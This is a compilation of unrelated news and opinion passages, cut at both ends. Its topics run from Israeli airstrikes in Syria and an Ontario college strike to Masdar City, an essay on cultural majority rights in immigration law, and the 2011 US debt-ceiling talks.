independent agents and approximately 21,000 employees.
-Israeli jets struck a Syrian military target and a Hezbollah weapons convoy early Wednesday, Arabic-language media reported Wednesday morning.  Israeli warplanes struck the military target in the Syrian capital of Damascus, while the raid on the weapons convoy occurred on the Damascus-Beirut highway, according to the reports.  As with past claims of Israeli strikes, Israel did not immediately confirm or deny news of the purported attacks. Since the start of the Syrian civil war in March 2011, a number of airstrikes in Syria or close to the border with Lebanon have been attributed to Israel.  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  News agencies affiliated with the regime of Syrian President Bashar Assad said the air raid on the military compound occurred at 1:15 a.m. local time and that four large explosions were heard in the capital. They further reported that the strikes were carried out by Israeli Air Force planes operating in Lebanese air space.  According to the Kuwaiti news network al-Rai, the warplanes also struck a number of vehicles traveling on the main highway believed to have been part of a weapons convoy led by Hezbollah.  Hezbollah has thousands of fighters in Syria, providing military aid to Assad regime and Iranian forces.  In April, Prime Minister Benjamin Netanyahu confirmed that Israel had carried out dozens of strikes against Hezbollah to prevent the group from obtaining advanced weapons — a rare Israeli admission.  Israel has vowed to prevent Hezbollah from obtaining “game-changing” arms — in particular advanced anti-aircraft systems and chemical weapons.  Earlier this week, the Israeli Air Force struck a military target belonging to the Islamic State terror group on the Syrian side of the southern Golan Heights.  The raid early Monday was the second Israeli airstrike to respond to an attack a day earlier by IS fighters against IDF soldiers. According to an army spokesperson, soldiers from the Golani Brigade’s reconnaissance unit came under attack from small arms fire after crossing the security fence on the border but remaining inside Israeli territory. They returned fire, but soon came under attack from mortar shells. No Israeli soldiers were injured in the exchange, the army said.  The IDF responded with an airstrike that morning that killed four members of an Islamic State-affiliated terror group that it said had launched the attack. The military said the second airstrike Monday was also in response to the initial attack.  The IDF “will not hesitate to act against terror groups that operate against the State of Israel,” a military statement read.  The Syrian Golan has been the site of intense fighting in recent years between Assad regime forces and the IS-affiliated Jabhat Fateh al-Sham, though the front on the border with Israel has been relatively quiet in recent months after previous intense bouts of violence.  Israeli officials fear Hezbollah and Iran’s al-Quds Force, which are allied with Assad, are aiming to use the area to open a new front against Israel in a future conflict.  Since March 2011, when the Syrian conflict began, dozens of mortar shells have landed in Israeli territory as a result of accidental spillover from the fighting. The IDF often responds to fire that crosses into Israel by striking Syrian army posts. Israel maintains a policy of holding Damascus responsible for all fire from Syria into Israel regardless of the source.
-In 1999, a man named by the name of Stewart Brand was stuck at a large desk in San Francisco trying to put his finger on how to best show the pace at which the world changes. The former merry prankster, founder of the Whole Earth Catalog, and creator of one of the earliest online communities eventually came up with a simple drawing consisting of just 6 layers. On the bottom he put nature, the slowest, then culture, governance, infrastructure, commerce, and at the very top – fashion. Fashion, unlike all the other lines twisted and turned, went forward and back. It was wild, unpredictable.  The insight Brand’s pace layers provided wasn’t that trends in fashion or art are hard to track. What the sketch did was put all of these different parts of our life in context. Doing so illustrated his point that the world around us moves all together, but at different speeds. Given this context, it also highlighted the difficulty of trying to predict the beginning or end of any trend on the top end of those layers.  Is the trend dying, or is it being subsumed into the broader cultural palate? Is there even a difference?  Of course, that hasn’t dissuaded anyone. Almost as if by reflex, people will predict the death of a trend as soon as it begins to take shape. This tendency can at times feel less like an attempt to provide insight and more a race to have ‘called it’ first. The style of clothing that seems to have been on the receiving end of this type of prediction has been technical apparel, or ‘athleisure’.  Characterized by the use of synthetic fabrics cut into clothing with an athletic fit and stylish look, these are the clothes that you’d be just as happy to wear in the gym as at a cafe. Yet, despite literally years of eulogizing – there has yet to be a funeral. If anything, it seems like the techniques developed by these designers are becoming increasingly mainstream. So which is it? Is the trend dying, or is it being subsumed into the broader cultural palate? Is there even a difference? We got tired of reading half-baked predictions and armchair opinions, so we reached out to some of the biggest and most interesting players in the world of technical apparel to try and get their perspective on the fate of technical wear.
-MAKE senior editor Phillip Torrone reviewed NOVA's Judgment Day: Intelligent Design on Trial.  When the advocates of Intelligent Design during the trial said that the book “Of Pandas and People” had nothing to do with creationism, they lied; it turned out the original drafts were all about Creationism. After the drafts were subpoenaed (thousand of pages) it was discovered that a simple search and replace was used to change the text from creationism wording to something, well, less creationism sounding. It was changed because the Supreme Court in 1987 ruled it was unconstitutional to teach creationism in public schools. When I say “search and replace” I really mean they found examples of where the words didn’t exactly get changed enough. You can see it here…  Wherever the word “creationists” appeared it was replaced with “cdesign proponentsists” - that’s merely creationists without the “reation” and with “design” and “proponents” replaced in.
-Policemen often press their hand against a stopped vehicle, usually the taillight or trunk. Officers employ this practice as a safety precaution. This way they are leaving fingerprints and DNA that indicate the officer was in contact with the vehicle. As Santa Monica Police Department’s information office stated, if something happen to the policeman the fingerprints will provide evidence that can identify the perpetrator’s vehicle.  Police officers are no longer advised to tap on the taillights of cars, as this gives the officer’s position away, making them more susceptible to attack.  Today in most police cars video cameras are installed, but many police officers still practice this physical safety measure.  Earlier tapping the trunk or taillight was used in order to surprise the driver in the car. Tapping should prevent people in the car from hiding illegal substances and to help policeman in identifying anything suspicious.
-College faculty begin their “forced vote” on a contract offer on Tuesday, as their strike — now in its fifth week — becomes the longest job action in their history. At 30 days so far, it is longer than the three previous strikes — in 1984, job action lasted 24 days, in 1989 it went on for 28, and in 2006, 18 days.  Striking faculty stand on the picket line outside of Humber College, in Toronto on Oct. 16, 2017. Faculty at 24 Ontario colleges have been on strike for almost a month, affecting more than 500,000 students. Staff are voting on a deal with week. ( Cole Burston / THE CANADIAN PRESS )  The 1984 strike ended with back-to-work legislation, and for the subsequent two, both sides agreed to mediation or arbitration. The College Employer Council, which bargains for the province’s 24 community colleges, made the request to the Ontario Labour Relations Board for the forced vote on its latest offer to the 12,000 full-time and partial-load faculty, who are represented by the Ontario Public Service Employees Union. Voting ends Thursday and results should be available that day.  Article Continued Below  But experts have said the move is a risky one — given it is a proposal their union bargaining team already rejected during talks, which broke off a week ago despite a four-day blitz that had built up hope a negotiated deal could be reached. The strike has not only impacted students, who are worried about losing their semester, but also those who work in food services positions on campus. At Fleming College in Peterborough, Aramark has laid off about 40 part-time and student employees after closing four of seven locations, said Travis Doak, the college’s director of housing, food and conference services. At George Brown College, food locations have been reduced and Chartwells “have laid off most of their staff,” said a spokesperson. Even though the Liberal government hasn’t ruled out back-to-work legislation, during a union town hall OPSEU President Warren “Smokey” Thomas, said “they have also indicated that they would not be inclined to do that,” and that they “would be extremely reluctant to use” it because of possible legal challenges.  Ontario college students lent support to striking faculty members Oct. 25 at a rally outside the province’s advanced education ministry in Toronto. One student says the length of the strike, which began Oct. 15, is “nerve-wracking.” (The Canadian Press)  J.P. Hornick, the faculty union’s chief negotiator, has repeatedly called on the colleges to return to the bargaining table for a negotiated deal. She said the colleges “could have tested their offer before the strike happened, or even in the early days of the strike.” When talks broke off, she said academic freedom was the key issue left to resolve.  Article Continued Below  The union has been urging members to vote against the offer for a number of reasons. The vote requires 50-per-cent plus one approval, meaning if all 12,000 members voted, 6,001 would have to vote in favour. A weekend letter sent from Conestoga College President John Tibbits to faculty says the two sides are “in uncharted territory now” given how long the strike has dragged on. He said despite talk that “no students has ever lost an academic year as the result of a strike … we’re in uncharted territory now. No faculty strike has ever lasted this long and what’s happened in the past is not necessarily an accurate predictor of what will happen in the future.” Correction – November 14, 2017: This article was edited from a previous version that mistakenly said there was an Ontario college faculty strike in 2016. In fact, the strike took place in 2006.
-The family of a woman born without a vagina has launched a crowdfunding campaign for surgery that would allow her to experience intimacy and live a more normal life.  Kaylee Moats, from Arizona, suffers from Mayer Rokitansky Küster Hauser syndrome (MRKH) — which means she has no cervix, uterus or vaginal opening.  Her boyfriend of four months, Robbie Limmer, says he doesn’t care about the lack of sex in their relationship.  Moats needs $15,000 for the surgery and the crowdfunding page set up by her sister, Amanda, has already raised $5,720 in two months.  “I met Robbie in my senior year of college when I was working at the front desk. He thought I was cute so he came up to me and we started talking,” she told the Daily Mail. “It took about a month for me to tell him that I have MRKH. He was confused at first but supportive and said that it doesn’t change how he sees me.  “He doesn’t really focus on the sexual side of our relationship because we can’t do anything since I don’t have a vaginal opening,” she said. “But I am looking forward to having a sexual relationship. I’m not sure if I want to wait until marriage, but I think having that option there is a lot more comforting.  “I’m a bit nervous to have sex for the first time after surgery because I’m not sure if something is going to go wrong down there or if it’s going to hurt,” she said.  Moats says her vagina looks exactly how it should — except that instead of a vaginal opening, there’s a little dimpled skin where the hole should be.  She says she ovulates like other women but it gets dissolved into her ovaries.  Moats says the crowdfunding is necessary because her health insurance won’t cover the surgery.  “The fact that insurance considers this a cosmetic or a gender surgery really upsets me,” she said. “I have all the correct chromosomes of a woman so it’s not a gender or cosmetic thing because it’s not what’s outside that is different. I can’t see inside what is wrong with me.”  Her sister has even offered to carry any children Moats might want in the future if she can’t have them herself.  Related Video 1:12 This woman was born without a vagina
-Sweltering in the hot desert sun, Masdar City sits under a global microscope at the nexus of rising clean technology and the development of sustainable urban life in the glaring light of climate change.  Conceived on a zero-moisture stretch of barren desert sand in Abu Dhabi, UAE, the zero-carbon, zero-waste settlement of Masdar City has diligently sustained itself through every struggle and step of progress.  Masdar City: A Living, Striving Test Case for Earth’s Future  As the warming effects of global climate change guide human needs and technologies toward more protective living environments, Masdar City appears on the leading edge of adaptive strategies. The successes and struggles of Masdar City are providing a living, striving test case for Earth’s future.  Taking a close look at the technologies and strategies under manipulation in this unique city, Susan Lee and her colleagues from UK’s University of Birmingham School of Civil Engineering lay out their findings in a recent study.  Lee states that Masdar’s contribution as a “test bed for innovations in fuel efficiency and renewable energy is more important than ever before.” She and fellow co-authors explain, “Ready access to ‘clean’ energy is essential if we wish to maintain our current way of life without compromising our wellbeing or the carrying capacity of the planet.”  Minimizing the Sun’s Glare & Heat  Impressed with the overall layout of the city, Lee notes: “The streets and buildings of Masdar City are specially designed to be energy efficient. In line with traditional Arab design, Masdar City’s shaded paths and narrow streets are designed to create a pleasant space for walking in the region’s hot climate.”  Lined with buildings not exceeding five stories, and combined with the presence of street-level “solar canopies,” roads receive protective shade for pedestrians throughout the city.  The main buildings, such as the IRENA Global Headquarters, the Siemens Building, and the Incubator Building, “are highly insulated and energy efficient, with three quarters of their hot water produced using solar energy. They also have angled facades to minimise the amount of glare and heat from the sun.”  Maximizing the Use of Electric Vehicles  IRENA Global Headquarters. Credit: masdar.ae  Moving from innovative strategies for maximizing pedestrian comfort, Susan Lee and her colleagues point next to the innovative transportation system in the city. From a car park at the city’s outer boundary, personal rapid transit (PRT) vehicles (driverless pods) are utilized to “ferry commuters” to and from all points within the city.  Electric buses offer access to and from Masdar’s residential areas, and a number of electric cars are also publicly available. Running on 16 kWh lithium-ion batteries capable of reaching speeds of up to 130 kph (80 mph), these public electric vehicles can be recharged at convenient stations throughout Masdar.  Innovative Renewable Energy Initiatives  Also impressed with the proliferation of sustainable technologies throughout Masdar, Lee cites such innovative renewable energy initiatives as a 100 kW thermal power plant, solar cooling, and geothermal cooling projects.  However, “Perhaps the most ambitious project,” notes Lee, “is SHAMS 1, a stand-alone 2.5km², 100 MW Concentrated Solar Power plant.” Built at an estimated cost of £453 million, or $600 million, Lee confirms that SHAMS 1 “displaces 175,000 tonnes of CO₂ annually – equivalent to the emissions of 29,000 UK homes.”  The city’s 45-meter-high (147.6 feet) wind tower also received special mention by Lee and her team of British civil engineers, inspired by the modern use of traditional Arab technology. Cool breezes from higher up are redirected down the tower to the pedestrian level, displacing and pushing hot air up and away from the courtyard and ground floors of the surrounding buildings.  One of the Most Sustainable Cities in the World  With sustainability uppermost in mind, Masdar’s goal has always been to become one of the most sustainable cities in the world. Every aspect of urban planning and architecture has addressed this goal, finessed with the desire to appeal to the aesthetic senses of its residents.  In fact, according to The Future Build, several overriding characteristics define the city’s innovative design:  • High Quality of Life: Masdar City is designed to provide the highest quality of life with the lowest environmental impact, in part to demonstrate that environmentally responsible living does not imply hardship.  • Integrated: There are no separate zones for industry or culture. The university and traditional business elements are embedded in the heart of the community, as are entertainment and leisure facilities. Residents and commuters living and working here will find everything they need close at hand.  • Vibrant Urban Realm: Public spaces are as important as the buildings in Masdar City, with a variety of tactics used to activate these spaces. As a result, the city is a place where streets and squares facilitate interaction and engagement with fellow residents, commuters and visitors.  • Low Rise, High Density: These two elements are central to a low-energy urban community for a variety of reasons, including lower energy use on transportation (both between and within buildings) and reduced heating/cooling loads.  • Pedestrian Friendly: A pedestrian city on the pedestrian level of the street allows buildings to be closer together, thereby providing greater overshading and a cooler street environment.  • Optimally Oriented: The city and street grid are oriented on a southeast–northwest axis, thereby providing some shading at the street level throughout the day, minimising thermal gain on building walls and facilitating the flow of cooling breezes through the city.  Providing Inspiration to Cities Around the World  Anthony “Tony” Mallows, Executive Director of Masdar City, states that the city “is a template for sustainable urban development, and its evolution is taking place in partnership with a growing community of developers, investors and private sector companies.”  Mallows adds, “This community is actively contributing to and benefitting from the sustainable building practices and advanced technologies deployed in the realisation of the City, whether it’s the application of renewable energy, energy- and water-saving processes, or the use of low-carbon cement and recycled metals.”  Susan Lee and her colleagues agree with Mallows on the value of Masdar as a template but recognize some significant differences affecting implementation of many of the city’s strategies in other locations.  “While Masdar City has enabled the development of state-of-the-art, energy-saving buildings and exciting new technologies in a hostile, arid environment,” Lee states, “not all of the solutions on show would work for other cities.” She explains, “while Masdar City started with an empty site, established cities have to work around existing infrastructure.”  Lee continues, “Even so, as the global climate changes, warmer summers are expected to become more likely, so any case studies which show how buildings can be modified to mitigate the heat will be useful.”  “In this way, and many more,” Lee concludes, “Masdar City will continue to provide other cities around the world with inspiration to help them become more robust, resilient and sustainable in the face of global challenges.”  View More Inspiration from Masdar City  Below are a couple of videos conveying a great sense of Masdar City’s evolution and the inspiration it is offering to the future sustainable cities of the world.  Also, don’t miss Zach’s awesome post on CleanTechnica, “Masdar’s Continued Evolution.” (He made his own videos to go along with it!)  earthrise – Abu Dhabi’s Masdar Plan (by Al Jazeera English, uploaded in 2011):  Masdar City Welcome Video (by Masdar VideosChannel, published in 2014):  Is this the greenest city in the world? (by CNN, published in 2014):
-Are Poland and Hungary justified, under international law or EU law, in restricting migration to defend their “Christian heritage”? How about the so-called “European way of life” or their “constitutional identity”? More generally, can a liberal democracy restrict immigration and/or access to citizenship in order to protect the "majority culture” and still remain liberal? Cultural defense policies are mushrooming in Europe, as refugees and migrants from Africa, Central Asia and the Middle East ­ many of them Muslims ­ keep coming to our shores in unprecedented numbers. Can the “cultural defense” of majorities be reconciled with liberal values and, if so, how?  The current international legal structure for managing global migration was established in a different era, when cross-border movements were of a different scale, pace, and composition. The 2015 refugee/migrant crisis has caught Europe unprepared, politically and legally. The crisis has brought to the fore the relationship between immigration policy and constitutional identity. Leading officials in the Czech Republic, Cyprus, Hungary, Poland, and Slovakia declared an admission preference to Christian refugees in order to defend what they perceive as the "national identity" and the "European way of life." This jargon has been more than mere political rhetoric. According to the preamble of the EU plan for the distribution of refugees, in deciding which state "should be the Member State of relocation, specific account should be given to the specific qualifications and characteristics of the applicants concerned, such as their language skills and other individual indications based on demonstrated family, cultural or social ties." The meaning of “cultural ties,” however, has not been defined, and right-wing governments in Europe are currently claiming to have a right to defend their Christian heritage by restricting entry of Muslims, as is the recent case of Poland and Hungary.  The recent populist trend in European politics toward immigrants has enhanced the already-existing discussion on justifiable and unjustifiable attempts by states to protect their cultural essentials in the immigration context. How can liberal democracies welcome immigrants without fundamentally changing their cultural heritage, forsaking their liberal traditions, or slipping into extreme nationalism? This issue is one of the greatest challenges facing liberalism today.  Cultural Defense of Nations  Global migration affects concepts of sovereignty, self-determination, and the nation-state. One of its expressions is the rise of what I term "cultural defense policies"—immigration and naturalization policies that are aimed at protecting different forms and expressions of the national identity. In Europe, integration has become mandatory, sanctioned, and test-based. It applies to all types of immigrants, including family members, and it is more invasive than the classic requirements of familiarity with a country’s history and civics. In some states, the frontiers are moving beyond the territorial borders with the creation of a new concept—"integration from abroad." Cultural defense policies are implemented through five main measures: (a) citizenship tests; (b) integration contracts; (c) loyalty oaths; (d) attachment requirements; and (e) language requirements (other measures include fences, preferences to ethnic diaspora, etc.). Although the law uses politically correct language, such as "community," "society," and "state," and in spite of the fact that politicians try to show that the law defends "common," "prevailing," and "shared" values, the defended culture essentially represents the ways of life, traditions, and values of the non-immigrant groups, the native-born population (autochthon, autochtonen, Français de souche).  The Paradox of Majority Rights  Talking about a liberal theory of majority rights seems paradoxical. Liberal theorists have always been troubled with the constant threat posed to individual liberties by democratic majority rule. Democracy is a "government of the people, by the people, for the people," but "the people" is essentially a majority population expressing itself through a majority vote. In a democracy, as Alexis de Tocqueville wrote in his essay The Tyranny of the Majority, the majority may "do whatsoever it pleases" and tyrannize the minority. In liberal political philosophy, majorities are associated with "evils against which society requires to be on its guard," to quote John Stuart Mill. The phrase "The will of the people," Mill argued, is deceptive, because it "practically means, the will of the most numerous or the most active part of the people; the majority, or those who succeed in making themselves accepted as the majority; the people, consequently, may desire to oppress a part of their number; and precautions are as much needed against this, as against any other abuse of power." This widely-shared view—that the power of the majority should be restrained—has become one of the most important pillars of international human rights law.  Given the fact that a democracy is based on majoritarian politics, democratic theory assumes that the majority culture "can take care of itself." It can dominate the public sphere by controlling entry into the community and by utilizing the forces of democratic decision-making. Thus, it does not need special legal privileges, nor is the concept of the "majority" even legally recognized.  A Rift in the Democratic Theory  In the post-World War II international system, Western countries did not struggle with the question of "who we are?"; they had a solid sense of what was British, French, or German. But times have changed. The recent influx of refugees and asylum seekers, foreign workers, and family migrants, together with the rise of multiculturalism and minority rights—as well as the erosion of national identities as a result of technological developments, globalization, and transnationalism—have led to a new reality where the assumption that the majority can take care of itself is no longer self-evident. Majorities in the West, particularly in Europe, have become smaller in size—numbers matter, especially in a democracy—and their culture has become more needy.  Furthermore: talks about the adoption of the majority culture to the minority culture have become popular. A recent article in The New Republic has called France to abandoned the concept of laïcité to accommodate the realities of multiculturalism; an article in The Economist has called the UK to revisit the status of the Church of England to adopt itself to a new era; and in Cologne, after 120 women reported being sexually assaulted, the mayor has called women to keep arm’s length from strangers to prevent sexual harassment—to give just three examples from this week.  Three Conceptions of Majorities  The first step in talking about majorities would be to legally recognize the existence of the majority entity. Identifying a majority is an exercise in classification; there is no one size-fits-all formula. In particular, it is difficult to decide how and where to draw the line between majorities and minorities; after all, majorities politically are made, not born. In many cases, today’s majority is composed of a coalition of yesterday’s minorities. Still, the fact that a concept is elusive does not mean that the reality to be denoted by it does not exist. With few exceptions, Western societies are heterogeneous. They contain a majority alongside one or more minorities. Everyone who advocates cultural minority rights must recognize their side-effect; cultural minority rights, by definition, yield a distinctive cultural majority. This is the inevitable outcome of multiculturalism.  In theory, various conceptions of majorities exist. One conception is an ethno-cultural majority; a majority is a group that is larger than other groups in the population, and is defined by one or more common ethno-cultural characteristics: descent, heritage, culture, language, religion, or way of life. Most nation-states have a dominant ethno-cultural group around which the state was founded—Castilians, English, Lithuanians, Poles, Russians, Serbs, etc.—alongside one or more minority groups: Basques, Catalans, Frisians, Scots, Tatars, Welsh. Each society has its own subtle features and there is no list of fixed criteria for identifying an ethno-culture majority.  A second conception is a sociological majority; a "majority" is a group whose members have the strongest political, economic, or cultural power in a society. A sociological majority is measured not by the number of people, but by resources, dominance, and power. Hence, there may be cases where a numerical minority is the controlling group. These cases ought not to exist in a democracy because a free election is unlikely to produce such an outcome, yet they exist in autocratic regimes. Sociological majorities may also be composed of groups that, although a numerical minority, are perceived as part of the majority group due to their socioeconomic status.  A third conception is an idea-based majority; a majority is a group whose members share, to a high degree, certain ideas and principles that are the dominant ones in a given society. Put differently, members of the majority are those who do not differ substantively from the existing state’s dominant ideas and principles. Each society stands for something fundamental, whether we call it constitutional essentials, a society’s basic structure, or the general political philosophy. It can be a form of government (democracy, republic, monarchy), character (religious heritage, secularism, language), rights and freedoms (equality, liberty, dignity), or a combination of ideas that, taken together, are unique to a certain country. Some of these ideas are universal; others are more particular. The focus here is not on tastes in food, literature, sport, poetry, and the like; it is rather a statement of the most fundamental beliefs of a political community, its raison d’être.  Each of these three conceptions of majorities has a different emphasis. However, all of them view the majority as a collective with three main characteristics: a collective self-identification of a distinctive group; closeness of the members in terms of ethno-cultural character, socioeconomic character, or ideas; and the position of these characteristics in a given society as the dominant one.  Four Cases of Needy Majorities  When (and why) would the concept of the majority be useful in practice? Immigration policy is such a field where the majority may become "needy." Four paradigmatic cases can be identified.  The first case is diminishing majorities; it relates to a case in which majorities have reached a point where a fundamental cultural feature of society faces a significant challenge due, among other things, to immigration. This challenge is a function of numbers and the capacity to absorb additional immigrants without a reasonable likelihood that their admission would radically affect the "core" of the majority culture (a liberal institution, basic constitutional structure, distinctive vision of the common good, etc.). Under this case, if the state continues to admit immigrants, the majority’s ability to freely define its "self" in a state-based framework will become much weaker.  The second case is regional-minority majorities; it relates to a case in which a fundamental feature of the majority finds itself to be of a regional minority. In the Baltic countries or in the Ukraine, for example, the non-Russian majority lives in countries bordering the powerful Russian Federation. The idea that these countries should admit massive Russian immigration is perceived as dangerous by the majorities. Factors that may be considered here are: the level of the cultural gap and its manifestation; the numerical ratio between the majority and the neighboring countries; the strength of the majority culture; geographical proximity; the scale of immigration from neighboring countries; and the level of integration of newcomers into the majority culture.  The third case is minoritized majorities; it relates to a situation in which a national majority displays a state of mind of a national minority. Will Kymlicka, who has coined this term, defines minoritized majorities as "majorities that continue to think and act as if they are weak and victimized minorities and, therefore, continue to live in existential fear for their survival." These majorities were once national minorities, dominated by a foreign national majority, which is often the present national minority. Kymlicka gives the example of the Slovak majority and Hungarian minority in Slovakia, but other examples exist: the German minority in Poland, the Hungarian minority in Romania, the Russian minority in Ukraine, the Serbian minority in Croatia, and the Turkish minority in Bulgaria. In such cases, further immigration of people sharing the minority background is perceived by the majority as a threat to its territorial integrity and sovereignty.  The fourth case is victimized majorities; it relates to a situation in which the majority has a rich history of being victimized and persecuted. In the paradigmatic case, the history of victimization is comprehensively rooted in a preset group’s collective identity and has become part of its memories, traumas, and ethos (Israel can be an example). And when the threats are persistent and empirically-grounded, more than just bad collective historical memories are at stake.  Some of these cases may justify cultural majority rights in the immigration context. In other circumstances, these cases create, at most, an excuse—a plea to consider existing regional, historical, and psychological circumstances of a group when evaluating its immigration policies. It is a plea for a different legal interpretation of what is just, or for an exception to a general norm.  Majority Rights  Cultural minority rights have paved the way for cultural majority rights. Some of the principles invoked to defend minority cultures may apply, with proper accommodation, to "needy" majority cultures. Liberal theory and human rights law do not contain an explicit body of laws on cultural majority rights, yet this is merely because, so far, the majority culture has been presumed able to take care of itself by virtue of being a majority. However, majorities, like minorities, have an interest in adhering to their culture and preserving its essentials. This interest is based on similar justifications of cultural minority rights—the rights to personal identity and personal autonomy.  What does majority "rights" mean? First and foremost, it entails that the cultural interests of the majority should be protected by law—that is, recognizing that some aspects of the cultural interests of majorities, in some cases and subject to some limitations, are a sufficient reason for granting privileges to the majority and imposing duties on others in order to secure those interests. Majority "rights," in this context, means a plea to consider its needs and circumstances when determining its immigration absorption capacity, either as a justification for a certain policy or as an excuse for a deviation from a general legal norm—a form of mitigating circumstances.  What should be the scope of that protection? My approach provides a narrow defense for the majority culture. First, the focus is culture in the normative, rather than anthropological sense. It centers on normative principles, values, and institutions, instead of actual practices, folkways, lifestyles, and cultural mores. Second, within the normative realm, the focal point is the constitution, rather than sociological concepts of German living conditions, life in the United Kingdom, French communauté, or Dutch society. Put differently, it is the constitutional, rather than national or societal identity. Moreover, the focus is only on core constitutional principles, the basic structure, and, exclusively, on those principles that are essential for citizenship in a given state. Third, there is no plea for moral identification, only for legal acceptance. The notion of acceptance is more demanding than cognitive knowledge—it requires some commitment—but less demanding than identification. Fourth, the majority culture must be just, in light of the state’s circumstances; not every element of it is to be defended. And fifth, the majority is not a temporary political majority, represented by a political body, but a more permanent majority, reflected by the values of the constitution. It is a constitutional, rather than an electoral, majority.  What factors should be considered when determining the scope of majority rights? One factor is the severity of the threat posed to the majority culture, the probability of it occurring, and its consequences. Other factors are the moral value of the culture of the majority (how much of it is worth protecting?) and its centrality in defining the majority’s identity. While the focus of these factors is the majority interest, other factors relate to justice: does the demographic change brought about by immigration bring a more, or less, just society? There are cases where the cultural effects of the demographic change brought about by immigration are perceived to be for the worst, while in others they are perceived to create a more just society. The hard case is when the cultural effects of the change brought about by immigration give rise to just institutions, but different ones; in this case, the majority seeks to restrict migration not in order to prevent harm to liberal-democratic principles and institutions, but to sustain its dominant status and privileged position in determining the particular outcome of those just institutions and their basic structure.  International Constitutional Moment  Never in human history has so much attention been paid to human movement. By 2015, the number of international immigrants soared to 232 million—11 percent of the total population in the developed regions. Global migration yields demographic shifts of historical significance. Still, political theory and international law are ill-equipped to address the challenge. The 2015 European crisis creates an "International Constitutional Moment" for a candid discussion of both the challenge and the legal structure to address it. Some of the issues are national (e.g., defining a constitutional identity), other issues are regional (e.g., balancing between EU jurisdiction and the sovereignty of Member States to protect their constitutional identity),[1] and others are international (e.g., the relations between "majorities," "peoples," and "nations," or the nexus between self-determination of peoples and the cultural interests of majorities). My goal here is to advocate the recognition of a new concept, "majority groups" (mainly, an idea-based majority), to bring to the fore a few cases where majorities may see themselves, or indeed are, culturally needy in the immigration context, and to provide a primary framework for analyzing them. Disregarding the topic of cultural majority rights is not only theoretically wrong, but also politically unwise. With forms of "majority nationalism" rising and a growing popularity of extreme right-wing parties in the West, time has come to liberally address the new challenge. While liberal states should watch over “the tyranny of the majority,” they should not entirely dismiss the legal recognition of a majority group, as well as the moral value of its culture.  [1] Article 4(2) of the TEU (Maastricht, 1992) provides that "The Union shall respect the equality of Member States before the Treaties as well as their national identities, inherent in their fundamental structures, political and constitutional . . . including ensuring the territorial integrity of the State." This "constitutional identity clause" is currently part of the Treaty of Lisbon (Article 4(2)).
-House Speaker John A. Boehner and Treasury Secretary Timothy F. Geithner appeared on the political talk shows Sunday at the start of a day of crucial talks, and their comments confirmed that the gap between Republicans and the White House on the debt ceiling remains wide and deep.  Geithner warned that a debt-reduction deal that doesn’t result in raising the nation’s legal borrowing limit through the 2012 elections remains unacceptable to the White House and cannot win enough Democratic votes in Congress to ensure passage.  Boehner (R-Ohio), meanwhile, indicated that Republicans could push forward with a plan this week, even without Democratic support.  “I think the preferable path would be a bipartisan plan that involves all the leaders, but it’s too early to decide whether that’s possible,” he said on “Fox News Sunday.” “If a bipartisan bill is not possible, I and my Republican colleagues in the House are prepared to move on our own.”  Under proposals floated by Republicans on Saturday, Congress would cut agency spending by as much as $1 trillion over the next 10 years and raise the debt ceiling by an equal amount. That would give the government the borrowing authority to pay its bills, but only through the end of this year.  The deal would then require Congress to work to reduce the debt by as much as $3 trillion by reforming the tax code and entitlement spending.  Geithner said such a two-step process could be acceptable — but not if it requires a second vote by Congress to lift the debt ceiling in the coming months. He insisted that any deal must raise the limit long enough to remove the possibility of a default from the politically heated presidential campaign season.  “There’s nothing wrong with doing this in stages,” he said on CNN’s “State of the Union.” “But what it cannot do is leave the threat of default hanging over the economy.”  White House Chief of Staff William M. Daley had a similar message on NBC’s “Meet the Press,” saying a “short-term gimmick” won’t work and that President Obama would veto any plan that didn’t raise the ceiling through the 2012 elections.  On ABC’s “This Week,” Geithner said a deal must be in motion in the House by Monday night to avoid missing the Aug. 2 deadline.  “They need to have a framework that they know with complete confidence will pass both houses of Congress, that is acceptable to the president, and that should happen today,” he said.  Congressional leaders had raced Saturday to develop a new strategy for raising the debt limit that Boehner told his troops would include an ambitious plan to reduce future borrowing by as much as $4 trillion.  Although his talks with President Obama over a “grand bargain” to restrain the national debt collapsed in acrimony Friday, Boehner said he was confident lawmakers would avert a historic U.S. default — a possibility just 10 days off.  “Over this weekend, Congress will forge a responsible path forward,” Boehner said in a statement.  The speaker and other leaders started their Saturday at the White House, where Geithner warned of possible trouble in the markets if policymakers don’t announce a viable plan for raising the debt limit before the Asian exchanges open Sunday evening, according to people familiar with the meeting. Aides said Geithner’s warning lent fresh urgency to the negotiations, which continued throughout the day on Capitol Hill.  By early evening, the outlines of a two-stage strategy were emerging. First, lawmakers would vote on a package to cut agency spending by as much as $1 trillion over the next decade and raise the debt limit, currently set at $14.3 trillion, by the same amount. That would give Geithner enough borrowing authority to cover the nation’s bills through the end of this year.  Then Congress would go to work to produce as much as $3 trillion in additional savings through an overhaul of the tax code and major changes to Social Security and Medicare, the biggest drivers of federal spending. To identify those savings, Congress would create a new bipartisan debt-reduction committee comprising 12 lawmakers from both the House and Senate, an idea offered by Senate Majority Leader Harry M. Reid (D-Nev.).  But the two sides were still fighting over how to force Congress to produce the second round of savings. Boehner wants to set another debt-limit vote early next year, while Democrats are insisting on a plan that would postpone another debt-limit showdown until after the 2012 presidential election.  Boehner, Reid, Senate Minority Leader Mitch McConnell (R-Ky.) and House Minority Leader Nancy Pelosi (D-Calif.) met briefly in Boehner’s office Saturday evening to try to break the impasse. They emerged without a fresh approach to the problem, and aides made plans to try again Sunday morning.  After the meeting, Reid issued a statement saying he was “deeply disappointed in the status of negotiations” and urging Republicans “to reconsider their intransigence.”  “Their unwillingness to compromise is pushing us to the brink of a default on the full faith and credit of the United States,” Reid said. “We have run out of time for politics. Now is the time for cooperation.”  Boehner spokesman Michael Steel fired back in a statement that Democrats have long been aware of “our principles to pass a bill that fulfills the President’s request to increase the debt limit beyond the next election. . . . The Democrats who run Washington have refused to offer a plan. Now, as a result, a two-step process is inevitable.”  Obama has repeatedly objected to a short-term debt-limit extension, arguing that it would invite the same high-stakes gridlock that now threatens the sputtering U.S. recovery. The president made that case again Saturday when Boehner, Reid, McConnell and Pelosi gathered at the White house for an hour-long session. Obama called the meeting after Boehner walked out Friday on debt-limit talks for the second time in two weeks — again citing differences over taxes.  “A short-term extension could cause our country’s credit rating to be downgraded, causing harm to our economy and causing every American to pay higher credit card rates and more for home and car loans,” White House press secretary Jay Carney said in a statement. “As the current situation makes clear, it would be irresponsible to put our country and economy at risk again in just a few short months with another battle over raising the debt ceiling.”  All three major rating agencies 